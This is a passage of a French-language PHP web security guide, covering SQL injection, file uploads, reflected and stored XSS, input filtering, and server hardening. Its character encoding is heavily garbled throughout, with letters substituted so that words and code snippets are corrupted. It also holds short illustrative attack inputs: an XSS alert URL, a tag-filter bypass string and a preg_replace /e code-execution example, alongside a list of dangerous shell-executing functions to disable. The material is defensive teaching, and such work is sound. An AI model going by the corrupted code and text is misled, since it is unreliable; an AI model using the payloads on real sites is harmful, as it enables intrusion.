!oit la requ8te + 61$9*- ))) !-* )))I)))) R3-&- idIOidentifiant !i on envoie dans Oidentifiant + : 2& :I: la totalit des rangs la table sera mise =our avec les m8mes valeurs) Comment rsoudre ce problme H 4'approche consistant mettre des ' autours des entiers %i)e) R3-&- idI'Oidentifiant'' n'est mon sens pas satisfaisante, toute compatible !G4 Y); qu'elle puisse 8tre et ce pour deu( raisons + :' les standards sont une chose, la ralit des implmentations en est une autre) !ybase n'accepte pas des ' pour les entiers) $es versions pas si anciennes que ?a de 7ysql acceptent parfaitement la synta(e !G4 )))R3-&- idI': 2& :I:' et il y en aura encore dans la nature longtemps) Cette mthode est donc impossible mettre en pratique si vous voule> crire du code portable inter !"#$& de toutes fa?ons) ;' si ceci est la seule mthode de protection\ il faut bien penser mettre des ' partout y compris dans les !-* colonnePentiereI'OvaleurPesprePentire', sinon on peut se servir aussi des autres valeurs pour une in=ection) 9utre solution + les requ8tes prpares, mais on perd en portabilit inter !"#$) 4e principe est de dfinir des "placeholders" puis de les remplacer par leur valeur) Osql-]preparePsql%",A!-&* ,A*2 mytable @946-! %+:,+;' "\ Osql-]e(ecutePsql%Ovaleur:, Ovaleur;'\

7es uploads de fichiers


!i vous pouve> vous en passer et forcer les utilisateurs les dposer, ventuellement via une tierce personne, par sftp, ne vous prive> pas de le faire) !i vraiment c'est incontournable, la plus grande 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:J/;<

des vigilances est de mise) $e manire gnrale + commence> par appliquer la rgle de base de la scurit informatique + tout ce qui n'est pas e(plicitement autoris est interdit) $onc dresse> e(plicitement la liste des e(tensions de fichiers que vous alle> accepter en rception, et ce dans tous les cas %)=pg )gif )pdf etc)') !i vous pouve> stoc er ces fichiers en dehors de l'arborescence web, ne vous en prive> surtout pas, ainsi, m8me s'ils contiennent du code offensif, personne ne pourra le lancer) 9 dfaut, essaye> d'interdire l'accs direct au rpertoire %par )htaccess par e(emple') -n particulier, ceci est l'une des trs rares raisons valables de stoc er des donnes binaires dans un !"#$&, qui est volontairement vu %tant pis pour l'overhead' comme serveur de fichiers) 2n peut aussi utiliser readfile%' mais attention ne pas envoyer tous les fichiers de la machine))) -nsuite, et particulirement si vous 8tes dans l'obligation de laisser ces fichiers dans l'arborescence web, n'hsite> =amais les renommer compltement avec un nom alatoire %ou par e(emple le 7$N du fichier, en faisant attention au( collisions' ou interdire certaines chaFnes de caractres dans leur nom, au hasard + php, inde(, cgi) 9ttention l aussi au( noms du type ))/toto)php 9ttention + si on appelle ce fichier dans une balise Z,7" !&CI))))] par e(emple, il va de soi que le renommage du fichier upload a pour seul but de g8ner les crasements de fichiers e(istants ou criture dans des rpertoires mal protgs) ,l ne s'agit nullement d'esprer que l'attaquant n'arrivera pas retrouver le nom de son fichier) @rifie> systmatiquement par des tests unitaires quelles e(tensions et quels noms sont e(cuts cDt serveur %alors qu'on ne le souhaite pas du tout 5' et lesquels sont renvoy au navigateur %alors qu'on ne souhaite pas plus voir son code 131 renvoy au navigateur 5') -n particulier, vrifie> e(plicitement qu'on ne peut pas recevoir des )htaccess ou )htpassword 6n hbergeur reconnu dont =e tairai le nom avait la "bonne" habitude de faire e(cuter 131 n'importe quoi contenant "php" dans le nom du fichier, par e(emple totophp)=pg))) 4a vrification du type de fichier n'est pas trs utile) 1rene> un vrai )=pg, concatne> lui des instructions 131, le type renvoy par la commande "file" par e(emple sera tou=ours "=peg") ,l n'est pas plus utile de tester avec des fonctions de la "$ 4,#) !pcifique 131 + le champ hidden 79KPB,4-P!,Q- permet d'viter des uploads de fichiers de taille trop importante par rapport la taille ma(imum dclare dans le fichier php)ini) ,l n'est en rien une garantie de scurit car outre le fait qu'il est vident qu'on peut modifier le code html du formulaire et envoyer un fichier de la taille que l'on veut, il ne sert absolument pas faire de la scurit, mais seulement viter un transfert vou l'chec d'un fichier qui serait plus gros que la valeur ma(imale dclare dans php)ini) $it autrement, 79KPB,4-P!,Q- ne sert rien)

7es /SS ou l'injection de code client


K!!+ Cross !ite !cripting 9ttac ) 4es K!! reprsentent mon sens la forme la plus vicieuse et la plus volue de l'attaque des webapps, en particulier les K!! stoc es)

e risque
,magine> qu'un attaquant arrive a=outer du code 3*74 ou =avascript ou applet, ou active-(, eyc))) dans l'une de vos pages " l'insu de votre plein gr", quelles sont les nouvelles possibilits qui viennent de s'ouvrir lui pour attaquer l'utilisateur qui vient innocemment accder votre page 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:N/;<

corrompue H 4iste bien entendu non e(haustive + - essayer de profiter d'une faille du navigateur pour installer toutes sortes de cochoncets %spywares et autres eyloggers, tro=ans, bac doors, virus))) ='en passe et des meilleures') - changer la destination rseau des informations soumises par l'utilisateur et les rcuprer, quitte copier la charte graphique de votre site pour que la transparence soit complte - rcuprer les coo ies que vous ave> positionn %deu( lignes de 0! appelant une ligne de 131 suffisent)))' - rcuprer des identifiants de session %en particulier en e(ploitant le champ referer dans ses propres logs, qui pourra contenir des identifiants de session)))' - etc) 4e principe des K!!, c'est ?a + in=ecter dans vos pages du code qui sera e(cut, immdiatement ou plus tard, par le navigateur d'une victime qui ne s'apercevra =amais de rien) 4a page vient bien de che> vous, m8me le certificat !!4 sera bon))) $es e(emples de chaFnes permettant de dtecter une application vulnrable + http+//ha)c ers)org/(ss)html

es !"" instantanes
#eaucoup de sites web dynamiques sont vulnrables cette faille + on passe dans l'une des variables le code html/=avascript qu'on veut in=ecter) Ce code n'est stoc nulle par %sauf dans les logs du serveur http si c'est en "-*', d'oE l'appellation ici d'instantan) 9 quoi cela pourrait-il bien servir un attaquant d'e(cuter une attaque sur sa propre machine en recevant le rsultat H !ur la sienne, rien, sur celle des victimes potentielles de phishing qui il vient d'envoyer la m8me chose sous forme de lien html cliquable par courrier lectronique quelques milliers/millions d'e(emplaires, ce n'est pas la m8me musique) 4'attaquant peut m8me se servir d'une K!! stoc e %cf plus loin' sur un premier site pour faire une K!! instantane sur un autre site + tous les moyens sont bons pour que la victime clique sur le lien contenant la K!! instantane) 6n e(emple simpliste + ZHphp // (ssPvulnerable)php echo OP&-G6-!*T'(ss'U\ H] appel + http+//www)cible)tld/(ssPvulnerable)phpHcCCscriptcC-c;Malert%'cCC/!C&,1*cC#ien sWr il vous faut un navigateur avec 0! activ) 9ttention, les K!! ne se limitent pas =avascript) *out ce qui pourra s'e(cuter dans un navigateur ou plus gnralement dans votre vecteur de sortie %1$B, etc)' peut devenir support d'attaque) -t vu le nombre de balises dclenchant une e(cution de code client reconnues par les navigateurs, il y a du soucis se faire %=avascript bien sWr, mais aussi vbscript, active-(, etc)))')

es !"" stoc#es
Cette forme est similaire dans le rsultat, mais elle fonctionne en deu( temps) Temps : l'attaquant envoie la cible une variable vrole contenant du code offensif e(cutable cDt client, et la cible stoc e cette information en base de donnes %sans aucun danger pour lui m8me d'ailleurs, c'est du te(te mort', avant en gnral de remercier l'attaquant pour les informations qu'il a envoyes) -(emple + quand vous passe> une commande sur un site marchand, il y a souvent 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:</;<

une >one de te(te libre par e(emple pour mettre "bon anniversaire mon canard" %il va pas 8tre d?u, le canard') Temps ! : la victime, par e(emple l'administrateur du site marchand qui regarde la liste de ses commandes traiter, demande la >one vrole la base de donnes, et e(cute sur sa machine le code dormant que le !"#$& a gentiment stoc et restitu vrol) 9ttention + il n'est pas ncessaire d'avoir une faille de type in=ection !G4 pour stoc er une K!!) Comment rsoudre ce problme H 9 ce stade de la description des attaques classiques, le besoin d'un module de filtrage qu'on avait d= pressenti est confirm + il va falloir faire le mnage dans *26*-! les variables re?ues ayant le !"#$& pour destination, on n'y coupera pas) -t ce quel que soit leur vecteur d'entre %web app, web service, bac end rss, fichier import, etc)' !elon le nombre et le type de vecteurs de sortie que votre application ncessite, il faudra faire le mnage avant stoc age ou lors de la rcupration depuis le stoc age avant gnration du document de sortie + les attaques dans les 1$B, ?a e(istait d= avant la dernire version du reader qui active =avascript par dfaut, mais ?a ne va pas s'amliorer donc))) 1ersonnellement, =e conseille de faire un filtrage systmatique en entre, quitte faire la transformation inverse et un filtrage spcifique au vecteur de sortie spcifique non navigateur %filtrage en entre et en sortie donc pour les cas hors navigateur') "#iltrer"$ "#aire le m%nage"$ oui mais en prati&ue$ on #ait &uoi ' 0e dconseille de =ouer avec des rege(ps ou des filtres de remplacement de chaFnes dans tous les sens pour supprimer les chaFnes estimes dangereuses, et ce pour plusieurs raisons+ - le principe m8me de la liste des choses interdites est intrinsquement mauvais en scurit informatique) 4e seul principe scuritaire, c'est l'inverse + "tout ce qui n'est pas e(plicitement autoris est interdit") - les rege(ps sont un langage en elles m8mes, et qui plus est comple(e) 2n a vite fait de se perdre et de dcroired qu'on a la bonne rege(pl) - elles sont souvent gourmandes en ressources, en particulier car souvent mal crites - ces types de filtres sont souvent contournables) 1ar e(emple + OisPitPreallyPsafeIstrPireplace%'Z*9"P,A*-&$,*]','',Ounsafe'\ !i Ounsafe contient Z*9"P,AZ*9"P,A*-&$,*]*-&$,*] dommage))) 4a seule solution consiste donc "dsamorcer" le code offensif selon le vecteur de sortie) 1our un navigateur, il faut transformer tout caractre potentiellement offensif en son quivalent entit html) Caractre offensifs principau( / + Z ] c [ " ' &alisation en 131 + la fonction htmlspecialchars%' ne traduit que [ " ' Z ] il manque donc / + c donc ou vous les traduise> manuellement par un appel trois strPreplace, ou vous traduise> tous les caractres en leur entit html par htmlentities%') 9ttention dans ce cas prvoir des tailles de %var' char%;' augmentes + socit gnrale I] soci[eacute\t[eacute\ g[eacute\n[eacute\rale 4a fonction stripPtags% ' fonctionne aussi %et ne se fait pas avoir par une ruse du type Z!CZscript]&,1*]' mais son comportement n'est pas document e(plicitement m8me si son code source est public, donc on peut le dissquer)

&odule de filtrage ou input saniti+ing

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

:S/;<

9 mon sens, la protection contre les in=ections sur les entiers est le premier pas vers la seule solution logique au( besoins, que =e vais rappeler + - on travaille sur toutes les variables en entre) Ca fait beaucoup de variables traiter parfois) - on souhaite pouvoir s'adapter la configuration locale %magicPquotes par e(emple' - on souhaite pouvoir valider le type de donnes) &a=outons les attaques de type (ss qui montrent bien un besoin fort de "nettoyage" des donnes re?ues pour les purger de tout code offensif + tout ceci fait naturellement %H' penser un module de filtrage) 0e ne vois pas comment on peu se passer, sous une forme ou sous une autre, d'un module de filtrage fonctionnel/mtier) Ce module permettra de filtrer chaque variable par rapport un type mtier, caractris par une liste de caractres spcifiquement autoriss pour sa composition) 1our tous les types non e(clusivement numriques, transformer tous les caractres permettant des K!! % ou tous les caractres tout court 5' en leur entit 3*74) -ffet de bord positif + ceci permet de ne stoc er que de l'9!C,, S bits dans le !"#$, ce qui simplifie certains problmes de charsets) Ce module pourra 8tre implment sous la forme de programmation linaire classique %ce que =e ferai ici', sous forme ob=et, et dans les deu( cas, appel manuellement sur toutes les variables ou en utilisant des descripteurs de donnes %d'aucuns utilisent le terme "2&7" pour "2b=ect &elation 7apper"' pour industrialiser) @oici un e(emple simplifi de fonction de filtrage) ,l s'agit l d'un canevas pour donner les principales vrifications, nullement d'une librairie finalise) 9**-A*,2A + ='utilise ici OP&-G6-!* qui regroupe un certain nombre de donnes venant du monde e(trieur %OP"-*, OP12!*, OPC22V,- et avant php J)C)M OPB,4-!' mais souvene> vous que d'autres donnes comme par e(emple OP!-&@-&T'3**1P6!-&P9"-A*'U ou OPB,4-! u OPC22V,-! sont tout aussi dangereuses) // filtrage des donnes, utiliser systmatiquement pour toute variable e(terne function f(Pfilter%Oname, OtypeI'!*&,A"', OdefI''' ^ // si la variable n'a pas ete recue, gerer proprement l'erreur // on se fiche> de savoir comment a ete transmise la donnee) if%5isset%OP&-G6-!*TOnameU'' return Odef\ OunsafeItrim%OP&-G6-!*TOnameU'\ // selon le type de variable attendue, traiter) switch%Otype' ^ // on gere ici les entier et les flottants de la meme maniere, ceci est un e(emple simplifie // ceci protege des in=ections sql sur les entiers et evite toute incohrence) case ',A*'+ case 'B429*'+ if%5isPnumeric%Ounsafe'' return Odef\ return Ounsafe\ brea \ //inutile, pour respecter la synta(e habituelle default + // on se protege des in=ections !G4 sur des strings // remplacer ces tests pour !ybase, qui echappe les ' par une autre ' et on un b if%getPmagicPquotesPgpc%'IIM' ^ 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:L/;<

OunsafeIaddslashes%Ounsafe'\ _ brea \ _ // il reste les K!!) // on pourrait aussi utiliser htmlPentities%' la place de htmlspecial chars // mais attention au( tailles des champs sgbd a augmenter // on pourrait aussi utiliser stripPtags%' OsafeIhtmlspecialchars%Ounsafe'\ return trim%Osafe'\ _ 9ppel + OnomPfamilleIf(Pfilter %'nomPfamille''\ OageIf(Pfilter%'age',',A*''\ OqteIf(Pfilter%'qty',',A*',:'\ 9ttention dans les deu( cas %programmation linaire ou ob=et' + le besoin va rapidement se faire sentier d'avoir un typage mtier fort) $ans un cas comme dans l'autre, on risque vite de se retrouver avec une ttrachie de types quasi identiques mais pas e(actement avecdes subtilits dans les caractres autoriss) 0uste un e(emple + la liste des caractres d'un nom de famille est restreinte -!19C- 9Qa> avec les accents ' - %et depuis =anvier ;MMN la rptition -- est autorise', mais on a pas de raisons d'autoriser des chiffres par e(emple, alors que la liste des caractres autorise pour une adresse de courrier lectronique est plus e(haustive + alphanum trait d'union - underscore P e bien sWr, depuis rcemment aussi les accents) -t les e(emples comme ?a se multiplient) @ous devre> 8tre vigilant + - vous limiter dans les types de filtrage) ,l est raisonnable d'avoir les types suivants + entier, rel, chaFne simple %alphanumriques 9!C,, plus underscore, pour les variables internes votre application et les identifiants de session par e(emple', email, chaFne normale) !i vous le deve> vraiment, un type 3*74 %en utilisant alors stripPtags et une liste de tags autoriss, puis un filtre manuel pour viter les K!! dans les balises autorises genre Z#2$a onload%alert%''] si vous autorise> #2$a par e(emple')

7'appel direct 'impr#u' de fichiers


$s lors que quelqu'un connaFt le nom de votre fichier, il peut le demander directement dans l'url de son navigateur + http+//www)cible)tld/secret)t(t 2r certains fichiers n'ont pas du tout t prvus par le dveloppeur pour un appel direct, et se dcomposent en trois catgories + - le fichier de configuration + config)inc %plouf, dommage, au revoir' - le fichier qui est appel par un autre aprs validation avec header %"4ocation+http+//www)cible)tld/insert)php"' %attention, danger' - les templates %gravit variable' Rgle : tou=ours vous assurer que les fichiers contenant du code seront ou inaccessibles s'ils n'ont pas 8tre appels directement par le client, ou dans tous les cas e(cuts cDt serveur) Ae pas partir du principe que l'attaquant n'arrivera pas deviner leur nom) 4e fichier config)inc contient les login/pass d'accs la base de donnes, si =e l'appelle directement 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
:Y/;<

dans l'6&4, =e le lis en clair) ,l doit ncessairement 8tre appel config)php %ou si ?a vous amuse config)inc)php mais =e suis contre ces noms rallonge inutiles', et si possible dans un rpertoire inaccessible par http) $ans cette m8me catgorie, n'oublie> pas de vrifier l'authentification C39G6- requ8te, pas seulement sur la premire page 5 Rgle : on doit tou=ours valider les donnes qui arrivent du monde e(trieur) @ous l'ave> fait dans verif)php, vous voule> maintenant e(cuter l'insertion en base dans insert)php + faites un require %'insert)php''\ en interdisant l'accs direct ce script ou si vous voule> vraiment faire faire un allerretour au( donnes en utilisant header %"4ocation+http+//www)cible)tld/insert)phpHdata:I:[data;I;"' vous $-@&-Q ,71-&9*,@-7-A* les faire une $-6K,-7- B2,! dans ce script) 9ttention galement que les donnes sont alors envoyes en "-* et apparaFtront donc en clair dans les logs %mots de passe, numros de carte bleue, etc)))') Rgle : tout script qui est appelable directement par l'6&4 doit valider ses propres donnes ou pouvoir s'assurer que l'appelant l'a fait pour lui de manire scurise) 1lusieurs solutions donc, cumulables + - on met insert)php dans le sous-rpertoire priv/ et on interdit l'accs 3**1 tout ce rpertoire par e(emple avec un )htaccess sous apache - le script "public" verif)php appelant dfini une constante par l'instruction define%"!-C6",:'\ et le script priv appel par require%'priv/insert)php''\ commence par la ligne + if%5defined%"!-C6"'' e(it %'\ 9ttention, il s'agit bien d'utiliser des C2A!*9A*-! dfinies par l'instruction 131 define%' et non des variables si on veut rester immunis la configuration registerPglobalsI2n) 1our les fichiers template embarquant des instructions 131 ou non, attention au( K!!) 4e test de la constante et le )htaccess peuvent aussi s'appliquer)

7a gestion des messages d'erreurs


4ors de la phase de collecte d'informations, l'attaquant tirera profit de toute information qui lui sera communique par l'application, surtout celles de dbuggage destines thoriquement au( dveloppeurs) -n production, votre application doit absolument 8tre totalement muette sur la raison du pourquoi elle a chou) 1rsente> un cran standard d'e(cuses vos utilisateurs lgitimes, mais ne laisse> passer aucune raison) 78me un code d'erreur numrique interne permet de savoir si on vient de provoquer deu( fois la m8me erreur ou deu( erreurs diffrentes et est une information en soit)

7es erreurs anne9es : es fic$iers ou%lis

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

;M/;<

Aombre d'diteurs de te(te ou d'utilitaires divers sauvegardent des copies de travail avec une e(tension propre %ou plutDt + sale' telles que + ')old', ')ba ', 'f', ')orig', ')bac up', ')bad', ')swp' Ces fichiers ne sont pas parss par le moteur dynamique et si quelqu'un les demande directement dans l'6&4, il les obtiendra, et pourra donc lire votre code %ou vos mots de passe' en clair) 1lus g8nant car relevant de l'erreur de conception, l'oubli de protection de fichiers contenant des donnes confidentielles %adresses ,1, logins/pass, chiffrs ou non, etc)' Baire aussi la chasse au( fichiers de test et autres phpinfo)php qui e(cuteront des commandes imprvues ou donneront des informations)

e fic$ier ro%ots.txt
&aisonnement idiot mais d= rencontr + "tel fichier/rpertoire contient des donnes confidentielles, =e ne veu( pas que les robots d'inde(ation/rfrencement l'enregistrent, =e le mets donc dans robots)t(t") A'importe qui peut demander ledit fichier robots)t(t) a compris un attaquant, automatis ou humain) $onc ne mette> =amais d'allusion quoi que ce soit de confidentiel dans ce fichier) ,l ne sert qu' emp8cher le rfrencement de certaines parties de votre site par les robots, c'est une mesure mar eting, pas de scurit)

a rcupration de code tran&er


"on ne rinvente pas la roue" est un adage rabXch longueur de temps) C'est e(act, et en particulier en termes de scurit, s'il y a d= des e(perts qui se sont pench sur le problme et ont crit des bibliothques de qualit, on ne va pas risquer de faire des fautes de dbutant) 7ais attention, il n'y a pas que des applications de qualit dans le monde open/closed source, loin s'en faut) 9vant de porter votre choi( sur un logiciel quel qu'il soit %libre ou non, gratuit ou payant' prene> le temps de faire une recherche sur ses failles %un coup de google avec "e(ploit" comme mot clef par e(emple, ou un petit tour sur www)security-focus)com') !'il revient une palanque de failles dcouvertes, mfie> vous))) $ans tous les cas, si vous ave> accs au source, prene> une heure ou deu( pour vrifier la cohrence de "l'input saniti>ing") 9ttention au code libre + tout hac er %au vrai sens du terme' peut y trouver des failles, aussi bien ceu( qui veulent les e(ploiter que ceu( qui veulent les corriger)

'. (uatrime partie: les pratiques conseilles


G5% ou P$S% ?
4a lgende raconte beaucoup de choses sur la diffrence entre ces deu( mthodes de transmission des donnes) -n termes de scurit, une seule diffrence est importante + les requ8tes en "-* sont tou=ours en clair dans les logs du serveur http qui les re?oit, en gnral, les requ8tes en 12!* ne le sont pas) 1ar consquent, toute donne confidentielle comme un login/pass doit transiter en 12!*) Baites attention au champ referer qui contiendra l'identifiant de session si la page a t gnre en "-*, identifiant de session qui apparaitra donc en clair dans les logs de tout serveur e(terne quand on cliquera dans votre page, ou si vous affiche> des images %compteurs, etc)') C'est la base d'une K!! qui essaie de faire du vol d'identifiant de session)

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

;:/;<

7a sacro sainte rcupration du mot de passe oubli


4a premire question se poser + est-elle vraiment ncessaire en mode automatique H !i oui %tant pis, on va bosser', n'envoye> pas l'ancien mot de passe par courrier lectronique, envoye> un lien avec un =eton alatoire validit limite :h une adresse lectronique d= connue de votre application, ventuellement avec une rponse obligatoire une question prenregistre, permettant d'craser l'ancien) 9insi il y aura une petite chance qu'on dtecte l'intrusion si l'utilisateur lgitime s'aper?oit qu'il ne peut plus se connecter l'application et remonte l'information)

7es sessions
Guelle que soit la gestion de sessions que vous utilisie> sur votre plateforme, elles doivent imprativement vous permettre de grer un time-out) !i votre application le ncessite, vous pouve> envisager de ne pas conserver le m8me identifiant tout au cours de la m8me session pour limiter la probabilit du vol d'identifiant % la limite, mais ceci doit vraiment se =ustifier, vous pouve> avoir un =eton-=etable, valable pour une seule requ8te chaque fois')

7es fonctions P<P dangereuses


*outes celles qui permettent d'e(cuter du code sur le systme + eval, e(ec, passthru, system, shellPe(ec, popen, procPopen) 9ttention au modificateur /e de pregPreplace% ' qui permet d'e(cuter du code) -(emple de faille ce su=et dans php## +
<?php $string1="phpinfo()"; $string2=preg_replace('//e',$string1,'');

H] %utilis dans php## pour le "synta( highlighting"')

*outes celles qui permettent de lire des fichiers ou pire d'en crire + fopen, fwrite) 4'envoi de mail + une mauvaise protection du paramtre "additionnal headers" ou "additionnal parameters" peut rapidement transformer votre machine en relay anonyme pour envoyer du spam))) !i elles ne sont pas utilises sur votre machine et que vous ave> les droits pour le faire, dsactive> ces fonctions %dans php)ini, cf) ci-dessous')

4roits du ser#eur http


9ssure> vous que les droits lis au( processus web soient corrects + nobody/nobody est un grand classique, mais sur les hbergements ddis virtuels, ce n'est pas le cas) 0979,! de droits priviligis %root, admin'

*onfiguration de P<P
Ae parte> pas du principe que c'est le cas parce que c'est la configuration par dfaut) @rifie> le, ?a prend N minutes) 1our une machine de production, dans php)ini + 9ctiver magicPquotesPgpcI2n 9ctiver registerPglobalsI2ff 4a scurit du web dynamique - 0ohn "944-* - !aphir*ech
;;/;<

$sactiver allowPurlPfopen I 2n en le passant 2ff %attention, ce n'est pas la configuration par dfaut') 9ctiver displayPerrorsI2ff -ventuellement 4ogPerrorsI2n avec errorPlogIfichier, attention ce que ce fichier soit situ en dehors de l'arborescence web) 9ctiver le safePmode + http+//fr;)php)net/manual/en/features)safe-mode)php @rifier l'includePpath) !i personne n'utilise pear sur cette machine, ne pas l'inclure dans le chemin) $sactiver toutes les fonctions dangereuses inutilises sur la plateforme avec la directive "disablePfunctions" + eval, fwrite, e(ec, passthru, system, shellPe(ec) -ventuellement m8me fopen)

7imiter le fingerprinting
$ans php)ini + e(posePphpI2ff Ceci permet principalement de ne pas communiquer la version e(acte de 131 % et donc les failles au(quelles elle est sensible', sauf associer une e(tension usuelle d'un autre langage %par e(emple ) pl' au( scripts 131 ou utiliser de l'6&4 rewriting) $ans apache + !erverto ens 1rod et !erver!ignature 2ff) 9u niveau systme d'e(ploitation + le fingerprinting de la stac ,1 renseignera presque tou=ours un attaquant, il y a moins de choses possibles ce niveau l, mais prene> le temps de vous renseigner sur ce qui est faisable %os-dependant')

Sau#egardes scurise
,l faut bien entendu sauvegarder rgulirement + si on dtruit totalement vos donnes %sgbdr, scripts, etc)))' ou si on vous les vole physiquement %vol d'ordinateur portable par e(emple') $eu( points nanmoins ce su=et + :' vrifier rgulirement que les sauvegardes sont lisibles et compltes %par e(emple, un bug de l'utilitaire "e(p" d'oracle L)( fait que l'e(port s'arr8te sans erreur ds que le fichier d'e(port de la base atteint ;"o))) dommage pour le reste' ) ;' vrifier que ces bac ups ne sont pas accessibles, ils contiennent toutes les donnes confidentielles recherches 5

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

;C/;<

). *onclusion
!uite diverses questions sur le forum fr)comp)lang)php, ='avais lanc un thread de synthse sur fr)comp)securite en m'engageant crire un rsum + il m'a fallu un peu plus de < mois pour m'y mettre et rdiger ce document, mais la recrudescence de questions basiques et d'attaques m'a pouss investir le temps ncessaire) 0'espre que ce document permettra d'viter quelques failles et n'en gnrera pas trop))) 7erci de me signaler toute erreur %faute de frappe ou autre') 0e reste disposition pour toute question, indique> "php" quelque part dans l'ob=et de votre email%:' envoy =ohn)galletesaphirtech)com %:' Aon la "gagadmie", un bon anglicisme est prfrable un mauvais nologisme)

+. ,emerciements
9u( contributeurs de fcs) 9 9rmel Bauveau et "eoffroy d',llier pour leur relecture attentive)

4a scurit du web dynamique - 0ohn "944-* - !aphir*ech

;J/;<

Ta%le des matires


:) ,ntroduction et audience))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) : 1lan gnral du document)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))); @ocabulaire + ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))); !curit informatique + un tout cohrent ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))C 1assoire ou inutilisable H))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) C !uis-=e concern par ce type d'attaque H)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))C "nralits))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) J ;) 1remire partie + la fausse scurit))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) N "0e ne risque rien sur mon intranet"))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) N "0e suis sWr que c'est arriv en 12!*"))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) N "7es donnes sont valides grXce =avascript")))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) < "c'est pas grave, les mots de passe sont chiffrs")))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))< "Ca vient bien de che> moi, ='ai vrifi le referer"))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) S "C'est la bonne ,1 donc c'est la bonne personne")))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))S "C'est la m8me ,1 / K-B2&R9&$-$-B2& donc c'est la m8me personne"))))))))))))))))))))))))))))))))))) S "C'est une donne sWre, c'est le systme qui me la donne")))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) L C) $eu(ime partie + scnarios d'attaques))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) Y 4es attaques automatises) )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) Y 4es attaques cibles) ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))Y J) *roisime partie + annuaire des attaques classiques))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) :M ,n=ection de variables )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) :M Confiance aveugle dans les donnes e(trieures )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) :: ,ncludes dynamiques)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))):: 4es in=ections !G4 par des chaFnes de caractres ))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))):C ,n=ections sur des entiers)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) :J 4es uploads de fichiers))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))):J 4es K!! ou l'in=ection de code client)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) :N 4e risque)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))):N 4es K!! instantanes)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) :< 4es K!! stoc es)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) :< 7odule de filtrage ou "input saniti>ing")))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))):S 4'appel direct 'imprvu' de fichiers)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) :Y 4a gestion des messages d'erreurs))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));M 4es erreurs anne(es +))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));M 4es fichiers oublis )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;M 4e fichier robots)t(t))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;: 4a rcupration de code tranger)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;: N) Guatrime partie+ les pratiques conseilles))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;: "-* ou 12!* H )))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;: 4a sacro sainte rcupration du mot de passe oubli))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;: 4es sessions))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))));; 4es fonctions 131 dangereuses))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))) ;; $roits du serveur 